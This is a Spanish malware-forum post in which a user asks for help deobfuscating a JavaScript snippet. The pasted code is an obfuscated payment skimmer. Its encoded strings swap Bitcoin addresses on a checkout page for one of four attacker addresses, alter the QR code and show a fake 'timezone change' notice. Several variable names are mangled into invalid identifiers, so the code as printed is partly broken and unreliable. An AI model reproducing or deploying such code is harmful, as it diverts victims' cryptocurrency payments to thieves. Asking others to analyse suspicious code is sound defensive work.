• Desofuscar codigo javascript

  • Plantea tus dudas sobre malware a los compañeros del foro.
Plantea tus dudas sobre malware a los compañeros del foro.
 #495084  por JoseManuel
 16 Ago 2019, 19:25
Hola pueden desofuscar este codigo?
Código: [ Debe registrarse para ver este enlace ]
var 0x5ecf=['JmFtb3VudD0=','Z2V0RWxlbWVudEJ5SWQ=','cm9vdA==','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','c3Bhbg==','MUpnZk0xbWF2a0tGbmVualZZWllYSkZpOEg5UXFmcldoUA==','bGVuZ3Ro','aW5uZXJIVE1M','aW5jbHVkZXM=','QlRDIGFkZHJlc3M=','Zmxvb3I=','cmFuZG9t','MVFDdkpGMVJwVHk2WGRXZ0JCMk44d2NGUGJIdHFrRVJEVQ==','MTlNOEx4Rld1S1JMNERpUVo5UGRtU3BMcWR2ZGFDQ0pXSA==','MUd4dHU2ZlkxRDZwOE15NU5Qdkc1V2dpZHZNS2FSUFNRWQ==','QlRDIGFkZHJlc3M6IA==','Qml0Y29pbiBhbW91bnQ6','c3BsaXQ=','cmVwbGFjZQ==','PHN0cm9uZz4=','PGgzPlRpbWV6b25lIGNoYW5nZSBkZXRlY3RlZCE8L2gzPlJlZnJlc2hlZCBwYXltZW50IGluZm8uPGJyPjxicj4=','cXVlcnlTZWxlY3Rvcg==','aW1nW2NsYXNzPSJjb2RlIl0=','c3Jj','aHR0cHM6Ly9jaGVja291dC5wYXkuZzJhLmNvbS9xci9nZW5lcmF0ZT9hZGRyZXNzPQ=='];(function(_0x40f17f,_0x53e585){var 0x3b3208=function(_0x4aa583){while(--_0x4aa583){_0x40f17f['push'](_0x40f17f['shift']());}};_0x3b3208(++_0x53e585);}(_0x5ecf,0xc9));var 0x4839=function(_0x5ee7db,_0x4331fa){_0x5ee7db=_0x5ee7db-0x0;var 0x2400fc=_0x5ecf[_0x5ee7db];if(_0x4839['IKZXSX']===undefined){(function(){var 0x39980e;try{var 0xc2bc6a=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');');_0x39980e=_0xc2bc6a();}catch(_0x58ba1f){_0x39980e=window;}var 0x530c06='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x39980e['atob']||(_0x39980e['atob']=function(_0x4310a1){var 0x35a35f=String(_0x4310a1)['replace'](/=+$/,'');for(var 0x1fe76c=0x0,_0x172ba9,_0x5e390e,_0x1c7376=0x0,_0x267e23='';_0x5e390e=_0x35a35f['charAt'](_0x1c7376++);~_0x5e390e&&(_0x172ba9=_0x1fe76c%0x4?_0x172ba9*0x40+_0x5e390e:_0x5e390e,_0x1fe76c++%0x4)?_0x267e23+=String['fromCharCode'](0xff&_0x172ba9>>(-0x2*_0x1fe76c&0x6)):0x0){_0x5e390e=_0x530c06['indexOf'](_0x5e390e);}return 0x267e23;});}());_0x4839['TZrlGM']=function(_0x275aae){var 0x168d84=atob(_0x275aae);var 0x1489f9=[];for(var 0x5a0989=0x0,_0x5a1358=_0x168d84['length'];_0x5a0989<_0x5a1358;_0x5a0989++){_0x1489f9+='%'+('00'+_0x168d84['charCodeAt'](_0x5a0989)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x1489f9);};_0x4839['XMAEfp']={};_0x4839['IKZXSX']=!![];}var 0x530443=_0x4839['XMAEfp'][_0x5ee7db];if(_0x530443===undefined){_0x2400fc=_0x4839['TZrlGM'](_0x2400fc);_0x4839['XMAEfp'][_0x5ee7db]=_0x2400fc;}else{_0x2400fc=_0x530443;}return 0x2400fc;};var 0x135648=document[_0x4839('0x0')](_0x4839('0x1'));var 0x3698b3=_0x135648[_0x4839('0x2')](_0x4839('0x3'));var 0x2fa791=0.05;var 0x233e5c=_0x4839('0x4');for(i=0x0;i<_0x3698b3[_0x4839('0x5')];i++){if(_0x3698b3[i][_0x4839('0x6')][_0x4839('0x7')](_0x4839('0x8'))){var 0x22a751=Math[_0x4839('0x9')](Math[_0x4839('0xa')]()*0x4);if(_0x22a751==0x0)_0x233e5c=_0x4839('0x4');else if(_0x22a751==0x1)_0x233e5c=_0x4839('0xb');else if(_0x22a751==0x2)_0x233e5c=_0x4839('0xc');else 0x233e5c=_0x4839('0xd');_0x3698b3[i][_0x4839('0x6')]=_0x4839('0xe')+_0x233e5c;}if(_0x3698b3[i][_0x4839('0x6')][_0x4839('0x7')](_0x4839('0xf'))){var 0x162132=_0x3698b3[i][_0x4839('0x6')][_0x4839('0x10')]('\x20');for(j=0x0;j<_0x162132[_0x4839('0x5')];j++){if(_0x162132[j][_0x4839('0x7')]('.')){_0x2fa791=_0x162132[j][_0x4839('0x11')](_0x4839('0x12'),'');;}}_0x3698b3[i][_0x4839('0x6')]=_0x4839('0x13')+_0x3698b3[i][_0x4839('0x6')];}}document[_0x4839('0x14')](_0x4839('0x15'))[_0x4839('0x16')]=_0x4839('0x17')+_0x233e5c+_0x4839('0x18')+_0x2fa791;